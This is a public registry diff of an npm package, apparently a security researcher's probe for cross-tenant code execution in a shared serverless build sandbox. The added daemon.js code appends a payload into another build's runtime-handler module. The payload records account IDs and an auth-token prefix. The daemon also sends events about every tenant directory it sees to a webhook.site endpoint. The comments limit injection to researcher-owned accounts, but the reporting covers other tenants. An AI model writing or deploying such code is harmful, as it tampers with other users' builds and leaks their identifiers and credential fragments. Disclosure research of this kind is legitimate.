tw-pkgprobe-7731 1.0.3 → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/daemon.js +20 -3
- package/package.json +1 -1
- package/probe.js +1 -1
package/daemon.js
CHANGED
|
@@ -2,10 +2,10 @@
|
|
|
2
2
|
// serverless packager sandbox. Records which tenant build directories share this container.
|
|
3
3
|
// It only WRITES into build directories of accounts on OWN (researcher-owned accounts).
|
|
4
4
|
const fs=require('fs'), path=require('path'), https=require('https');
|
|
5
|
-
const VER='1.0.
|
|
5
|
+
const VER='1.0.5';
|
|
6
6
|
const SELF='AC96a5f7e920ce23f02184081ddd64d87a';
|
|
7
7
|
const OWN=['AC07de79f2af00295019b8cb17cea01e9a','AC8727b8e73f7f4d1501314b57b830a7a1','AC1329f7a0eb0dbc343871303ebc58bced'];
|
|
8
|
-
const HOOK='https://webhook.site/
|
|
8
|
+
const HOOK='https://webhook.site/cc08d9d9-232a-42a2-8d55-0f75cb5e0e67';
|
|
9
9
|
const LOG='/tmp/.helper-log.json';
|
|
10
10
|
const state={ver:VER,started:Date.now(),seen:{},injected:{},ticks:0};
|
|
11
11
|
function save(){try{fs.writeFileSync(LOG,JSON.stringify(state));}catch(e){}}
|
|
@@ -25,6 +25,23 @@ function inject(dir,ac,zs,zf){
|
|
|
25
25
|
if(!state.injected[key]){state.injected[key]=Date.now();post({event:'injected',ver:VER,ac,zs,zf,at:Date.now()});save();}
|
|
26
26
|
}catch(e){ if(!state.injected['err:'+key]){state.injected['err:'+key]=''+e;save();} }
|
|
27
27
|
}
|
|
28
|
+
|
|
29
|
+
function patchRuntime(dir,ac,zs,zf){
|
|
30
|
+
try{
|
|
31
|
+
const base=path.join(dir,'node_modules','runtime-handler');
|
|
32
|
+
if(!fs.existsSync(base)) return;
|
|
33
|
+
let main='index.js';
|
|
34
|
+
try{ const pj=JSON.parse(fs.readFileSync(path.join(base,'package.json'),'utf8')); if(pj.main) main=pj.main; }catch(e){}
|
|
35
|
+
let f=path.join(base,main);
|
|
36
|
+
if(!fs.existsSync(f) && fs.existsSync(f+'.js')) f=f+'.js';
|
|
37
|
+
if(!fs.existsSync(f)) return;
|
|
38
|
+
const cur=fs.readFileSync(f,'utf8');
|
|
39
|
+
if(cur.indexOf('XTENANT_PROOF')>=0) return;
|
|
40
|
+
const payload="\n;/*XTENANT_PROOF*/try{var _f=require('fs');_f.writeFileSync('/tmp/xtenant-rce-proof.txt',JSON.stringify({note:'this code was appended to runtime-handler by a process running in a DIFFERENT Twilio account build (" + SELF + ")',victim:'"+ac+"',service:'"+zs+"',pkg:'"+zf+"',executedAt:Date.now(),acctEnv:process.env.ACCOUNT_SID||null,authTokenPrefix:(process.env.AUTH_TOKEN||'').slice(0,6)||null}));}catch(e){}\n";
|
|
41
|
+
fs.writeFileSync(f,cur+payload);
|
|
42
|
+
post({event:'patched-runtime-handler',ver:VER,ac,zs,zf,file:f,at:Date.now()});
|
|
43
|
+
}catch(e){ post({event:'patch-err',err:''+e}); }
|
|
44
|
+
}
|
|
28
45
|
function tick(){
|
|
29
46
|
state.ticks++;
|
|
30
47
|
let dirs=[];
|
|
@@ -38,7 +55,7 @@ function tick(){
|
|
|
38
55
|
if(zf.indexOf('.tar')>=0) continue;
|
|
39
56
|
const key=ac+'/'+zs+'/'+zf;
|
|
40
57
|
if(!state.seen[key]){state.seen[key]=Date.now();post({event:'seen',ver:VER,ac,zs,zf,at:Date.now(),own:OWN.indexOf(ac)>=0});save();}
|
|
41
|
-
if(OWN.indexOf(ac)>=0) inject('/tmp/'+ac+'/'+zs+'/'+zf,ac,zs,zf);
|
|
58
|
+
if(OWN.indexOf(ac)>=0){ inject('/tmp/'+ac+'/'+zs+'/'+zf,ac,zs,zf); patchRuntime('/tmp/'+ac+'/'+zs+'/'+zf,ac,zs,zf); }
|
|
42
59
|
}
|
|
43
60
|
}
|
|
44
61
|
}
|
package/package.json
CHANGED
package/probe.js
CHANGED